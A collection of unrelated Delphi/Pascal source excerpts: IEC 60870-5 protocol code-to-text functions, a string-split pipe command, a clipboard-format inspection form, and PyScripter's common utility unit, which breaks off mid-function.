M_ME_TD_1: result:= 'M_ME_TD_1';
M_ME_TE_1: result:= 'M_ME_TE_1';
M_ME_TF_1: result:= 'M_ME_TF_1';
M_IT_TB_1: result:= 'M_IT_TB_1';
M_EP_TD_1: result:= 'M_EP_TD_1';
M_EP_TE_1: result:= 'M_EP_TE_1';
M_EP_TF_1: result:= 'M_EP_TF_1';
//
// идетификаторы типа ASDU: информация о процессе в направлении управления
C_SC_NA_1: result:= 'C_SC_NA_1';
C_DC_NA_1: result:= 'C_DC_NA_1';
C_RC_NA_1: result:= 'C_RC_NA_1';
C_SE_NA_1: result:= 'C_SE_NA_1';
C_SE_NB_1: result:= 'C_SE_NB_1';
C_SE_NC_1: result:= 'C_SE_NC_1';
C_BO_NA_1: result:= 'C_BO_NA_1';
//
// Command telegrams with long time tag (7 octets)
C_SC_TA_1: result:= 'C_SC_TA_1';
C_DC_TA_1: result:= 'C_DC_TA_1';
C_RC_TA_1: result:= 'C_RC_TA_1';
C_SE_TA_1: result:= 'C_SE_TA_1';
C_SE_TB_1: result:= 'C_SE_TB_1';
C_SE_TC_1: result:= 'C_SE_TC_1';
C_BO_TA_1: result:= 'C_BO_TA_1';
//
// System information in monitor direction
M_EI_NA_1: result:= 'M_EI_NA_1';
//
// идетификаторы типа ASDU: системная информация в направлении управления
C_IC_NA_1: result:= 'C_IC_NA_1';
C_CI_NA_1: result:= 'C_CI_NA_1';
C_RD_NA_1: result:= 'C_RD_NA_1';
C_CS_NA_1: result:= 'C_CS_NA_1';
C_TS_NA_1: result:= 'C_TS_NA_1';
C_RP_NA_1: result:= 'C_RP_NA_1';
C_CD_NA_1: result:= 'C_CD_NA_1';
C_TS_TA_1: result:= 'C_TS_TA_1';
//
// идетификаторы типа ASDU: параметры в направлении управления
P_ME_NA_1: result:= 'P_ME_NA_1';
P_ME_NB_1: result:= 'P_ME_NB_1';
P_ME_NC_1: result:= 'P_ME_NC_1';
P_AC_NA_1: result:= 'P_AC_NA_1';
//
// идетификаторы типа ASDU: передача файлов
F_FR_NA_1: result:= 'F_FR_NA_1';
F_SR_NA_1: result:= 'F_SR_NA_1';
F_SC_NA_1: result:= 'F_SC_NA_1';
F_LS_NA_1: result:= 'F_LS_NA_1';
F_AF_NA_1: result:= 'F_AF_NA_1';
F_SG_NA_1: result:= 'F_SG_NA_1';
F_DR_NA_1: result:= 'F_DR_NA_1';
//
else result:= '?_??_??_?';
end;
result:= result + ' (' + IntToStr(AT) + ')';
end;
//
function IECASDUCOTDescription(COT: Byte): String;
begin
Case COT and $3F of
COT_PERCYC: result:= 'periodic, cyclic';
COT_BACK: result:= 'background interrogation';
COT_SPONT: result:= 'spontaneous';
COT_INIT: result:= 'initialized';
COT_REQ: result:= 'interrogation or interrogated';
COT_ACT: result:= 'activation';
COT_ACTCON: result:= 'confirmation activation';
COT_DEACT: result:= 'deactivation';
COT_DEACTCON: result:= 'confirmation deactivation';
COT_ACTTERM: result:= 'termination activation';
COT_RETREM: result:= 'feedback, caused by distant command';
COT_RETLOC: result:= 'feedback, caused by local command';
COT_FILE: result:= 'data transmission';
14..19: result:= 'reserved';
COT_INTROGEN: result:= 'interrogated by general interrogation';
COT_INTRO1..COT_INTRO16: result:= 'interrogated by interrogation group ' + IntToStr(COT-20);
COT_REQCOGEN: result:= 'interrogated by counter general interrogation';
COT_REQCO1..COT_REQCO4: result:= 'interrogated by interrogation counter group ' + IntToStr(COT-37);
COT_BADTYPEID: result:= 'type-Identification unknown';
COT_BADCOT: result:= 'cause unknown';
COT_BADCA: result:= 'ASDU address unknown';
COT_BADIOA: result:= 'information object address unknown';
else result:= 'unknown';
end;
result:= result + ' (' + IntToStr(COT) + ')';
end;
end. |
function TPipeCommand_Split.Compile( args: TStrArray ): string;
begin
if length( args ) <> 2 then
exit( 'bad split command usage. please type "man split" in order to see help!' );
if not is_int( args[1] ) then
exit( 'the second argument of "split" command should be integer. type "man split" for help!' );
_arguments := args;
exit(''); // no error
end;
procedure TPipeCommand_Split.Run;
var delimiter: string;
line : TStrArray;
index : integer;
i : integer = 0;
n : integer = 0;
begin
n := length( _input );
index := strtoint( _arguments[1] );
delimiter := _arguments[0];
for i:=0 to n - 1 do begin
line := str_split( _input[i], delimiter );
if length( line ) >= index then
push( _output, line[ index - 1 ] );
end;
end;
|
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls, ComCtrls, SDUClipbrd, SDUForms;
type
TForm1 = class(TSDUForm)
reReport: TRichEdit;
SDUClipboardMonitor1: TSDUClipboardMonitor;
pbClose: TButton;
pbClear: TButton;
Label1: TLabel;
ckStayOnTop: TCheckBox;
ckMonitorClipboard: TCheckBox;
pbClearClipboard: TButton;
procedure SDUClipboardMonitor1Changed(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure pbCloseClick(Sender: TObject);
procedure pbClearClick(Sender: TObject);
procedure ckStayOnTopClick(Sender: TObject);
procedure ckMonitorClipboardClick(Sender: TObject);
procedure pbClearClipboardClick(Sender: TObject);
private
procedure DumpClipboard();
procedure ListFormatsOnClipboard();
procedure ShowContent_HDROP();
procedure ShowContent_PreferredDropEffect();
procedure ShowContent_FileDescriptor();
procedure ShowContent_FileContent();
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
uses
Clipbrd, ShlObj,
SDUGeneral;
procedure TForm1.pbClearClipboardClick(Sender: TObject);
begin
SDUClearClipboard();
end;
procedure TForm1.ckMonitorClipboardClick(Sender: TObject);
begin
SDUClipboardMonitor1.Enabled := ckMonitorClipboard.Checked;
end;
procedure TForm1.ckStayOnTopClick(Sender: TObject);
begin
if ckStayOnTop.Checked then
begin
self.FormStyle := fsStayOnTop;
end
else
begin
self.FormStyle := fsNormal;
end;
end;
procedure TForm1.FormShow(Sender: TObject);
begin
self.Caption := Application.Title;
reReport.Plaintext := TRUE;
reReport.lines.Clear();
DumpClipboard();
ckMonitorClipboard.Checked := TRUE;
end;
procedure TForm1.pbClearClick(Sender: TObject);
begin
reReport.lines.clear();
end;
procedure TForm1.pbCloseClick(Sender: TObject);
begin
Close();
end;
procedure TForm1.SDUClipboardMonitor1Changed(Sender: TObject);
begin
reReport.lines.add('---------------------------');
reReport.lines.add('Clipboard contents changed!');
DumpClipboard();
end;
procedure TForm1.DumpClipboard();
begin
ListFormatsOnClipboard();
if Clipboard.HasFormat(CF_HDROP) then
begin
ShowContent_HDROP();
end;
if Clipboard.HasFormat(CF_PREFERREDDROPEFFECT) then
begin
ShowContent_PreferredDropEffect();
end;
if Clipboard.HasFormat(CF_FILEDESCRIPTOR) then
begin
ShowContent_FileDescriptor();
end;
if Clipboard.HasFormat(CF_FILECONTENTS) then
begin
ShowContent_FileContent();
end;
end;
procedure TForm1.ShowContent_HDROP();
var
selected: TStringList;
dropPoint: TPoint;
begin
selected:= TStringList.create();
try
if SDUGetDropFilesFromClipboard(selected, dropPoint) then
begin
reReport.lines.Add('HDROP:');
reReport.lines.Add('X: '+inttostr(dropPoint.X));
reReport.lines.Add('Y: '+inttostr(dropPoint.Y));
reReport.lines.Add('Files:');
reReport.lines.AddStrings(selected);
end
else
begin
reReport.lines.Add('Unable to get HDROP from clipboard');
end;
reReport.lines.Add('');
finally
selected.Free();
end;
end;
procedure TForm1.ShowContent_PreferredDropEffect();
var
dropEffect: DWORD;
begin
if SDUGetPreferredDropEffectFromClipboard(dropEffect) then
begin
reReport.lines.Add('Preferred DropEffect:'+inttostr(dropEffect));
end
else
begin
reReport.lines.Add('Unable to get Preferred DropEffect from clipboard');
end;
reReport.lines.Add('');
end;
procedure TForm1.ShowContent_FileDescriptor();
var
fileDescriptors: TFileDescriptorArray;
i: integer;
begin
SetLength(fileDescriptors, 0);
if SDUGetFileDescriptorArrayFromClipboard(fileDescriptors) then
begin
reReport.lines.Add('FileDescriptors:');
for i:=low(fileDescriptors) to high(fileDescriptors) do
begin
reReport.lines.Add('FILEDESCRIPTOR['+inttostr(i)+']:');
reReport.lines.Add('dwFlags: '+inttostr(fileDescriptors[i].dwFlags));
if ((fileDescriptors[i].dwFlags and FD_CLSID) > 0) then
begin
reReport.lines.Add('clsid: '+GUIDToString(fileDescriptors[i].clsid));
end;
if ((fileDescriptors[i].dwFlags and FD_SIZEPOINT) > 0) then
begin
reReport.lines.Add('sizel: ('+inttostr(fileDescriptors[i].sizel.cx)+', '+inttostr(fileDescriptors[i].sizel.cy)+')');
reReport.lines.Add('pointl: ('+inttostr(fileDescriptors[i].pointl.X)+', '+inttostr(fileDescriptors[i].pointl.Y)+')');
end;
if ((fileDescriptors[i].dwFlags and FD_ATTRIBUTES) > 0) then
begin
reReport.lines.Add('dwFileAttributes: '+inttostr(fileDescriptors[i].dwFileAttributes));
end;
if ((fileDescriptors[i].dwFlags and FD_CREATETIME) > 0) then
begin
reReport.lines.Add('ftCreationTime: '+datetimetostr(SDUFileTimeToDateTime(fileDescriptors[i].ftCreationTime)));
end;
if ((fileDescriptors[i].dwFlags and FD_ACCESSTIME) > 0) then
begin
reReport.lines.Add('ftLastAccessTime: '+datetimetostr(SDUFileTimeToDateTime(fileDescriptors[i].ftLastAccessTime)));
end;
if ((fileDescriptors[i].dwFlags and FD_WRITESTIME) > 0) then
begin
reReport.lines.Add('ftLastWriteTime: '+datetimetostr(SDUFileTimeToDateTime(fileDescriptors[i].ftLastWriteTime)));
end;
if ((fileDescriptors[i].dwFlags and FD_FILESIZE) > 0) then
begin
reReport.lines.Add('nFileSizeHigh: '+inttostr(fileDescriptors[i].nFileSizeHigh));
reReport.lines.Add('nFileSizeLow: '+inttostr(fileDescriptors[i].nFileSizeLow));
end;
{
if ((fileDescriptors[i].dwFlags and FD_PROGRESSUI) > 0) then
begin
reReport.lines.Add('FD_PROGRESSUI set');
end;
}
{
if ((fileDescriptors[i].dwFlags and FD_LINKUI) > 0) then
begin
reReport.lines.Add('FD_LINKUI set');
end;
}
{
if ((fileDescriptors[i].dwFlags and FD_UNICODE) > 0) then
begin
reReport.lines.Add('FD_UNICODE set');
end;
}
reReport.lines.Add('cFileName: '+fileDescriptors[i].cFileName);
end;
end
else
begin
reReport.lines.Add('Unable to get FileDescriptors from clipboard');
end;
reReport.lines.Add('');
end;
procedure TForm1.ShowContent_FileContent();
var
data: string;
stlBinary: TStringList;
begin
if SDUGetFileContentFromClipboard(data) then
begin
reReport.lines.Add('CF_FILECONTENT:');
stlBinary:= TStringList.Create();
try
SDUPrettyPrintHex(data, 0, length(data), stlBinary);
reReport.lines.AddStrings(stlBinary);
finally
stlBinary.Free();
end;
end
else
begin
reReport.lines.Add('Unable to get Preferred DropEffect from clipboard');
end;
reReport.lines.Add('');
end;
procedure TForm1.ListFormatsOnClipboard();
const
NAME_BUFFER_SIZE = 1024;
var
i: integer;
dispName: string;
stlFormats: TStringList;
begin
if (Clipboard.FormatCount <= 0) then
begin
reReport.lines.Add('Clipboard empty.');
end
else
begin
stlFormats:= TStringList.Create();
try
for i:=0 to (Clipboard.FormatCount - 1) do
begin
dispName := '0x'+inttohex(Clipboard.Formats[i], 8) + ' - ' + SDUClipboardFormatToStr(Clipboard.Formats[i]);
stlFormats.add(dispName);
end;
stlFormats.Sort();
reReport.lines.Add('Formats currently on clipboard:');
reReport.lines.AddStrings(stlFormats);
finally
stlFormats.Free();
end;
end;
reReport.lines.Add('');
end;
END.
|
{-----------------------------------------------------------------------------
Unit Name: uCommonFunctions
Author: Kiriakos Vlahos
Date: 23-Jun-2005
Purpose: Functions common to many units in PyScripter
History:
-----------------------------------------------------------------------------}
unit uCommonFunctions;
interface
Uses
Windows, Classes, SysUtils, Graphics, TBX, TBXThemes;
const
UTF8BOMString : string = Char($EF) + Char($BB) + Char($BF);
IdentChars: TSysCharSet = ['_', '0'..'9', 'A'..'Z', 'a'..'z'];
WideLineBreak : WideString = WideString(sLineBreak);
SFileExpr = '(([a-zA-Z]:)?[^\*\?="<>|:,;\+\^]+)'; // fwd slash (/) is allowed
STracebackFilePosExpr = '"' + SFileExpr + '", line (\d+)(, in ([\?\w]+))?';
type
(* function type for translation of strings to other language *)
TTranslateProc = function (const AText: string): string;
(* returns the System ImageList index of the icon of a given file *)
function GetIconIndexFromFile(const AFileName: string;
const ASmall: boolean): integer;
(* returns long file name even for nonexisting files *)
function GetLongFileName(const APath: string): string;
(* from cStrings *)
var
(* function for translation of strings to other language *)
Translate: TTranslateProc;
(* checks if AText starts with ALeft *)
function StrIsLeft(AText, ALeft: PChar): Boolean;
(* checks if AText ends with ARight *)
function StrIsRight(AText, ARight: PChar): Boolean;
(* returns next token - based on Classes.ExtractStrings *)
function StrGetToken(var Content: PChar;
Separators, WhiteSpace, QuoteChars: TSysCharSet): string;
(* removes quotes to AText, if needed *)
function StrUnQuote(const AText: string): string;
(* allows reading of locked files *)
function FileToStr(const FileName: String): String;
(* Get the current TBX theme border color for a given state *)
function GetBorderColor(const State: string): TColor;
(* Get the current TBX theme item color for a given state *)
function GetItemInfo(const State: string) : TTBXItemInfo;
(* Lighten a given Color by a certain percentage *)
function LightenColor(Color:TColor; Percentage:integer):TColor;
(* Darken a given Color by a certain percentage *)
function DarkenColor(Color:TColor; Percentage:integer):TColor;
(* Return either clSkyBlue or clHighlight depending on current settings *)
function SelectionBackgroundColor():TColor;
{* Get Exe File Version string *}
function ApplicationVersion : string;
{* Compares two Version strings and returns -1, 0, 1 depending on result *}
function CompareVersion(const A, B : String) : Integer;
{* Checks whether we are connected to the Internet *}
function ConnectedToInternet : boolean;
{* Extracts the nth line from a string *}
function GetNthLine(const S : string; LineNo : integer) : string;
{* Extracts a range of lines from a string *}
function GetLineRange(const S : string; StartLine, EndLine : integer) : string;
{* Extracts a word from a string *}
function GetWordAtPos(const LineText : String; Start : Integer; WordChars : TSysCharSet;
ScanBackwards : boolean = True; ScanForward : boolean = True;
HandleBrackets : Boolean = False) : string;
{* Mask FPU Excptions - Useful for importing SciPy and other Python libs *}
procedure MaskFPUExceptions(ExceptionsMasked : boolean);
{* Adds Path to Python path and automatically deletes it when the
returned interface is destroyed *}
function AddPathToPythonPath(const Path : string; AutoRemove : Boolean = True) : IInterface;
{* Format a doc string by removing left space and blank lines at start and bottom *}
function FormatDocString(const DocString : string) : string;
{* Calculate the indentation level of a line *}
function CalcIndent(S : string; TabWidth : integer = 4): integer;
{* check if a directory is a Python Package *}
function IsDirPythonPackage(Dir : string): boolean;
{* Get Python Package Root directory *}
function GetPackageRootDir(Dir : string): string;
{* Python FileName to possibly dotted ModuleName accounting for packages *}
function FileNameToModuleName(const FileName : string): string;
{* Convert < > to < > *}
function HTMLSafe(const S : string): string;
{* Parses command line parameters *}
// From Delphi's system.pas unit! Need to rewrite
function GetParamStr(P: PChar; var Param: string): PChar;
{* ReadLn that works with Sreams *}
// Adapted from Indy
function ReadLnFromStream(Stream : TStream; AMaxLineLength: Integer = -1;
AExceptionIfEOF: Boolean = FALSE): String;
{* Parse a line for a Python encoding spec *}
function ParsePySourceEncoding(Textline : string): string;
implementation
Uses
Controls, Forms, ShellApi, JclFileUtils, Math, VarPyth, JclStrings, JclBase,
SynRegExpr;
function GetIconIndexFromFile(const AFileName: string;
const ASmall: boolean): integer;
const
small: array[Boolean] of Integer = (SHGFI_LARGEICON, SHGFI_SMALLICON);
var
SHFileInfo: TSHFileInfo;
begin
SHGetFileInfo(PChar(AFileName), 0, SHFileInfo, SizeOf(SHFileInfo),
SHGFI_SYSICONINDEX or small[ASmall]);
Result := SHFileInfo.iIcon;
end;
function GetLongFileName(const APath: string): string;
(* returns long file name even for nonexisting files *)
begin
if APath = '' then Result:= ''
else begin
Result:= PathGetLongName(APath);
// if different - function is working
if (Result = '') or
((Result = APath) and
not (FileExists(PathRemoveSeparator(APath)) or
DirectoryExists(PathRemoveSeparator(APath)))) then
begin
Result:= ExtractFilePath(APath);
// we are up to top level
if (Result = '') or (Result[Length(Result)] = ':') then
Result:= APath
else Result:= Concat(GetLongFileName(PathRemoveSeparator(Result)),
PathDelim, ExtractFileName(APath));
end;
end;
end;
(* from cStrings *)
function NoTranslate(const AText: string): string;
(* default is to return text as is *)
begin
Result:= AText;
end;
function StrIsLeft(AText, ALeft: PChar): Boolean;
(* checks if AText starts with ALeft *)
begin
while (ALeft^ <> #0) and (AText^ <> #0) and (ALeft^ = AText^) do begin
Inc(ALeft);
Inc(AText);
end;
Result := ALeft^ = #0;
end;
function StrIsRight(AText, ARight: PChar): Boolean;
(* checks if AText ends with ARight *)
var
i: Integer;
begin
Result:= ARight = nil;
if not Result and Assigned(AText) and (Length(ARight) <= Length(AText)) then begin
Inc(AText, Length(AText)-Length(ARight));
for i:= 0 to Length(ARight)-1 do
if (ARight + i)^ <> (AText + i)^ then Exit;
Result:= True;
end;
end;
function StrGetToken(var Content: PChar;
Separators, WhiteSpace, QuoteChars: TSysCharSet): string;
(* returns next token - based on Classes.ExtractStrings *)
var
Head, Tail: PChar;
InQuote: Boolean;
QuoteChar: Char;
begin
Result:= '';
if (Content = nil) or (Content^=#0) then Exit;
Tail := Content;
InQuote := False;
QuoteChar := #0;
while Tail^ in WhiteSpace do Inc(Tail);
Head := Tail;
while True do begin
while (InQuote and not (Tail^ in QuoteChars + [#0])) or
not (Tail^ in Separators + WhiteSpace + QuoteChars + [#0]) do Inc(Tail);
if Tail^ in QuoteChars then begin
if (QuoteChar <> #0) and (QuoteChar = Tail^) then
QuoteChar := #0
else QuoteChar := Tail^;
InQuote := QuoteChar <> #0;
Inc(Tail);
end else Break;
end;
if (Head <> Tail) and (Head^ <> #0) then begin
SetString(Result, Head, Tail - Head);
Content:= Tail;
end;
end;
function StrUnQuote(const AText: string): string;
(* removes quotes to AText, if needed *)
var
PText: PChar;
begin
if PChar(AText)^ in ['"', ''''] then begin
PText:= PChar(AText);
Result:= AnsiExtractQuotedStr(PText, PText^);
end
else Result:= AText;
end;
function FileToStr(const FileName: String): String;
(* allows reading of locked files *)
var
fs: TFileStream;
len: Integer;
begin
fs := TFileStream.Create(FileName, fmOpenRead or fmShareDenyNone);
try
len := fs.Size;
SetLength(Result, len);
if len > 0 then
fs.ReadBuffer(Result[1], len);
finally
fs.Free;
end;
end;
(* from cStrings end *)
function GetBorderColor(const state: string): TColor;
var
Bmp: TBitmap;
i: TTBXItemInfo;
begin
Bmp:= TBitmap.Create;
try
Bmp.PixelFormat := pf32Bit;
Bmp.Width := 19;
Bmp.Height := 19;
i := GetItemInfo(state);
CurrentTheme.PaintBackgnd(BMP.Canvas, BMP.Canvas.ClipRect, BMP.Canvas.ClipRect, BMP.Canvas.ClipRect, CurrentTheme.GetViewColor(TVT_NORMALTOOLBAR), false, TVT_NORMALTOOLBAR);
CurrentTheme.PaintButton(BMP.Canvas, BMP.Canvas.ClipRect, i);
Result := Bmp.Canvas.Pixels[10, 0];
finally
Bmp.Free;
end;
end;
function GetItemInfo(const State: string) : TTBXItemInfo;
begin
FillChar(Result, SizeOf(TTBXItemInfo), 0);
Result.ViewType := TVT_NORMALTOOLBAR;
Result.ItemOptions := IO_TOOLBARSTYLE or IO_APPACTIVE;
Result.IsVertical := False;
Result.Enabled := true;
if State = 'inactive' then
begin
Result.Pushed := False;
Result.Selected := False;
Result.HoverKind := hkNone;
end else if State = 'active' then begin
Result.Pushed := False;
Result.Selected := True;
Result.HoverKind := hkMouseHover;
end else if State = 'hot' then begin
Result.Pushed := True;
Result.Selected := True;
Result.HoverKind := hkMouseHover;
end;
end;
function LightenColor(Color:TColor; Percentage:integer):TColor;
var
wRGB, wR, wG, wB : longint;
begin
wRGB := ColorToRGB(Color);
wR := Min(round(GetRValue(wRGB) * (1+(percentage / 100))), 255);
wG := Min(round(GetGValue(wRGB) * (1+(percentage / 100))), 255);
wB := Min(round(GetBValue(wRGB) * (1+(percentage / 100))), 255);
result := RGB(wR, wG, wB);
end;
function DarkenColor(Color:TColor; Percentage:integer):TColor;
var
wRGB, wR, wG, wB : longint;
begin
wRGB := ColorToRGB(Color);
wR := round(GetRValue(wRGB) / (1+(percentage / 100)));
wG := round(GetGValue(wRGB) / (1+(percentage / 100)));
wB := round(GetBValue(wRGB) / (1+(percentage / 100)));
result := RGB(wR, wG, wB);
end;
(* Return either clSkyBlue or clHighlight depending on current settings *)
function SelectionBackgroundColor():TColor;
begin
if (ColorToRGB(clWindowText) = clBlack) and (ColorToRGB(clWindow) = clWhite) and
(ColorToRGB(clHighlightText) = clWhite)
then
Result := clSkyBlue
else
Result := clHighlight; // Just play it safe safe
end;
function ApplicationVersion : string;
var
ExeFile : string;
begin
ExeFile := Application.ExeName;
if VersionResourceAvailable(ExeFile) then begin
with TJclFileVersionInfo.Create(ExeFile) do begin
Result := BinFileVersion;
Free;
end;
end else
Result := '1.0.0';
end;
function CompareVersion(const A, B : String) : Integer; var
i : Integer;
_delta : Integer;
_version1 : TStringList;
_version2 : TStringList;
_version : TStringList;
begin
Result := 0;
_version1 := TStringList.Create;
try
_version1.Delimiter := '.';
_version1.DelimitedText := A;
_version2 := TStringList.Create;
try
_version2.Delimiter := '.';
_version2.DelimitedText := B;
for i := 0 to Min(_version1.Count, _version2.Count)-1 do
begin
try
_delta := StrToInt(_version1[i]) - StrToInt(_version2[i]);
except
_delta := CompareText(_version1[i], _version2[i]);
end;
if _delta <> 0 then
begin
if _delta > 0 then
Result := 1
else
Result := -1;
Break;
end;
end;
// if we have an equality but the 2 versions don't have the same number of parts
// then check the remaining parts of the stronger version, and if it contains
// something different from 0, it will win.
if Result = 0 then
if _version1.Count <> _version2.Count then
begin
if _version1.Count > _version2.Count then
_version := _version1
else
_version := _version2;
for i := Min(_version1.Count, _version2.Count) to _version.Count-1 do
begin
if StrToIntDef(_version[i], -1) <> 0 then
begin
if _version1.Count > _version2.Count then
Result := 1
else
Result := -1;
Break;
end;
end;
end;
finally
_version2.Free;
end;
finally
_version1.Free;
end;
end;
function ConnectedToInternet : boolean;
{
Call SHELL32.DLL for Win < Win98
otherwise call URL.dll
}
{button code:}
const
WininetDLL = 'wininet.dll';
URLDLL = 'url.dll';
INTERNET_CONNECTION_MODEM = 1;
INTERNET_CONNECTION_LAN = 2;
INTERNET_CONNECTION_PROXY = 4;
INTERNET_CONNECTION_MODEM_BUSY = 8;
var
hURLDLL: THandle;
hWininetDLL: THandle;
dwReserved: DWORD;
dwConnectionTypes: DWORD;
fn_InternetGetConnectedState: function(lpdwFlags: LPDWORD; dwReserved: DWORD): BOOL; stdcall;
InetIsOffline : function(dwFlags: DWORD): BOOL; stdcall;
begin
Result := False;
hURLDLL := LoadLibrary(URLDLL);
if hURLDLL > 0 then
begin
@InetIsOffline := GetProcAddress(hURLDLL,'InetIsOffline');
if Assigned(InetIsOffline) then begin
if InetIsOffLine(0) then
Result := False
else
Result := True;
end;
FreeLibrary(hURLDLL);
end;
// Double checking
if Result then begin
hWininetDLL := LoadLibrary(WininetDLL);
if hWininetDLL > 0 then
begin
@fn_InternetGetConnectedState := GetProcAddress(hWininetDLL,'InternetGetConnectedState');
if Assigned(fn_InternetGetConnectedState) then
begin
dwReserved := 0;
dwConnectionTypes := INTERNET_CONNECTION_MODEM or INTERNET_CONNECTION_LAN
or INTERNET_CONNECTION_PROXY or INTERNET_CONNECTION_MODEM_BUSY;
Result := fn_InternetGetConnectedState(@dwConnectionTypes, dwReserved);
end;
FreeLibrary(hWininetDLL);
end;
end;
end;
function GetNthLine(const S : string; LineNo : integer) : string;
var
SL : TStringList;
begin
SL := TStringList.Create;
try
SL.Text := S;
if LineNo <= SL.Count then
Result := SL[LineNo-1]
else
Result := '';
finally
SL.Free;
end;
end;
function GetLineRange(const S : string; StartLine, EndLine : integer) : string;
var
SL : TStringList;
i, LastLine : integer;
begin
Result := '';
SL := TStringList.Create;
try
SL.Text := S;
LastLine := Min(EndLine-1, SL.Count -1);
for i := Max(0, StartLine-1) to LastLine do
if i = LastLine then
Result := Result + SL[i]
else
Result := Result + SL[i] + sLineBreak;
finally
SL.Free;
end;
end;
function GetWordAtPos(const LineText : String; Start : Integer; WordChars : TSysCharSet;
ScanBackwards : boolean = True; ScanForward : boolean = True;
HandleBrackets : Boolean = False) : string;
Var
i, j : integer;
L, WordStart, WordEnd, ParenCounter, NewStart : integer;
Bracket, MatchingBracket : Char;
Const
AllBrackets: array[0..3] of char = ('(', ')', '[', ']');
CloseBrackets = [')', ']'];
OpenBrackets = ['(', '['];
begin
L := Length(LineText);
WordStart := Start;
WordEnd := Start;
if (Start <= 0) or (Start > L) or not (LineText[Start] in WordChars) then
Result := ''
else begin
if ScanBackwards then begin
i := Start;
while (i > 1) and (LineText[i-1] in WordChars) do
Dec(i);
WordStart := i;
end;
if ScanForward then begin
i := Start;
while (i < L) and (LineText[i+1] in WordChars) do
Inc(i);
WordEnd := i;
end;
Result := Copy(LineText, WordStart, WordEnd - WordStart + 1);
end;
if HandleBrackets and ScanBackwards then begin
if (Result = '') then
NewStart := Start
else
NewStart := WordStart - 1;
if (NewStart > 0) and (LineText[NewStart] in CloseBrackets) then begin
//We found a close, go till it's opening paren
Bracket := LineText[NewStart];
MatchingBracket := '('; // Just to avoid warning
for j := Low(AllBrackets) to High(AllBrackets) do
if Bracket = AllBrackets[j] then begin
MatchingBracket := AllBrackets[j xor 1]; // 0 -> 1, 1 -> 0, ...
break;
end;
ParenCounter := 1;
i := NewStart - 1;
while (i > 0) and (ParenCounter > 0) do
begin
if Linetext[i] = Bracket then inc(ParenCounter)
else if Linetext[i] = MatchingBracket then dec(ParenCounter);
Dec(i);
end;
WordStart := i+1;
Result := Copy(LineText, WordStart, NewStart - WordStart + 1) + Result;
if WordStart > 1 then
// Recursive call
Result := GetWordAtPos(LineText, WordStart - 1, WordChars,
ScanBackWards, False, True) + Result;
end;
end;
end;
procedure MaskFPUExceptions(ExceptionsMasked : boolean);
begin
if ExceptionsMasked then
Set8087CW($1332 or $3F)
else
Set8087CW($1332);
end;
type
TPythonPathAdder = class(TInterfacedObject, IInterface)
private
fPath : string;
fPathAdded : boolean;
PackageRootAdder : IInterface;
fAutoRemove : Boolean;
public
constructor Create(const Path : string; AutoRemove : Boolean = True);
destructor Destroy; override;
end;
{ TPythonPathAdder }
constructor TPythonPathAdder.Create(const Path: string; AutoRemove : Boolean = True);
var
S : string;
begin
inherited Create;
fPath := PathRemoveSeparator(Path);
fAutoRemove := AutoRemove;
if (fPath <> '') and DirectoryExists(fPath) then begin
// Add parent directory of the root of the package first
if IsDirPythonPackage(fPath) then begin
S := ExtractFileDir(GetPackageRootDir(fPath));
if S <> fPath then
PackageRootAdder := AddPathToPythonPath(S, AutoRemove);
end;
if SysModule.path.contains(Path) then
fPathAdded := false
else begin
SysModule.path.insert(0, fPath);
fPathAdded := true;
end;
end;
end;
destructor TPythonPathAdder.Destroy;
begin
PackageRootAdder := nil; // will remove package root
if fPathAdded and FAutoRemove then
SysModule.path.remove(fPath);
inherited;
end;
function AddPathToPythonPath(const Path : string; AutoRemove : Boolean = True) : IInterface;
begin
Result := TPythonPathAdder.Create(Path, AutoRemove);
end;
function FormatDocString(const DocString : string) : string;
var
SL : TStringList;
i, Margin : integer;
begin
Result := DocString;
if Result = '' then Exit;
// Expand Tabs
Result := StringReplace(Result, #9, ' ', [rfReplaceAll]);
//Find minimum indentation of any non-blank lines after first line.
Margin := MaxInt;
SL := TStringList.Create;
try
SL.Text := Result;
// Trim First Line
if SL.Count > 0 then
SL[0] := Trim(SL[0]);
// Remove left margin and clear empty lines
for i := 1 to SL.Count - 1 do
Margin := Min(Margin, CalcIndent(SL[i]));
for i := 1 to SL.Count - 1 do begin
if Margin < MaxInt then
SL[i] := Copy(SL[i], Margin+1, Length(SL[i]) - Margin);
if Trim(SL[i]) = '' then
SL[i] := '';
end;
Result := SL.Text;
// Remove any trailing or leading blank lines.
Result := StrTrimCharsRight(Result, [#10, #13]);
Result := StrTrimCharsLeft(Result, [#10, #13]);
finally
SL.Free;
end;
end;
function CalcIndent(S : string; TabWidth : integer = 4): integer;
Var
i : integer;
begin
Result := 0;
for i := 1 to Length(S) do
if S[i] = #9 then
Inc(Result, TabWidth)
else if S[i] = ' ' then
Inc(Result)
else
break;
end;
function IsDirPythonPackage(Dir : string): boolean;
begin
Result := DirectoryExists(Dir) and
FileExists(PathAddSeparator(Dir) + '__init__.py');
end;
function GetPackageRootDir(Dir : string): string;
Var
S : string;
begin
if not IsDirPythonPackage(Dir) then
raise Exception.CreateFmt('"%s" is not a Python package', [Dir]);
S := Dir;
Repeat
Result := S;
S := ExtractFileDir(S);
Until (Result = S) or (not IsDirPythonPackage(S));
end;
function FileNameToModuleName(const FileName : string): string;
Var
Path, Dir : string;
begin
Result := PathRemoveExtension(ExtractFileName(FileName));
Path := ExtractFileDir(FileName);
Dir := ExtractFileName(Path);
if Path <> '' then begin
while IsDirPythonPackage(Path) and (Dir <> '') do begin
Result := Dir + '.' + Result;
Path := ExtractFileDir(Path);
Dir := ExtractFileName(Path);
end;
if StrIsRight(PChar(Result), '.__init__') then
Delete(Result, Length(Result) - 8, 9);
end;
end;
function HTMLSafe(const S : string): string;
begin
Result := StringReplace(S, '<', '<', [rfReplaceAll]);
Result := StringReplace(Result, '>', '>', [rfReplaceAll]);
Result := StringReplace(Result, #13#10, '<br>', [rfReplaceAll]);
Result := StringReplace(Result, #13, '<br>', [rfReplaceAll]);
Result := StringReplace(Result, #10, '<br>', [rfReplaceAll]);
end;
function GetParamStr(P: PChar; var Param: string): PChar;
// From Delphi's system.pas unit!
var
i, Len: Integer;
Start, S, Q: PChar;
begin
while True do
begin
while (P[0] <> #0) and (P[0] <= ' ') do
P := CharNext(P);
if (P[0] = '"') and (P[1] = '"') then Inc(P, 2) else Break;
end;
Len := 0;
Start := P;
while P[0] > ' ' do
begin
